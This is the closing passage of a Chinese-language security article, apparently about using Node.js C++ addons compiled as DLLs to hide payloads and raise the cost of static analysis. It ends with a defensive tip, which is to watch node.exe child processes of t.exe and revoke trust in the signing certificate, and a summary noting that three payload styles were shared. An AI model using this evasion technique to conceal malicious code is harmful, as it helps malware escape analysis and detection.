addon.node的格式为dll文件,无法直接获得payload,增加静态分析的成本。

0x06 防御建议

对t.exe的子进程(node.exe)行为进行判断,如果有可疑行为进行拦截,取消对该证书的信任。

0x07 小结

本文介绍了Node.js中C++插件的用法,可以用来增加Node.js代码被分析的难度,最后分享了三个payload的写法。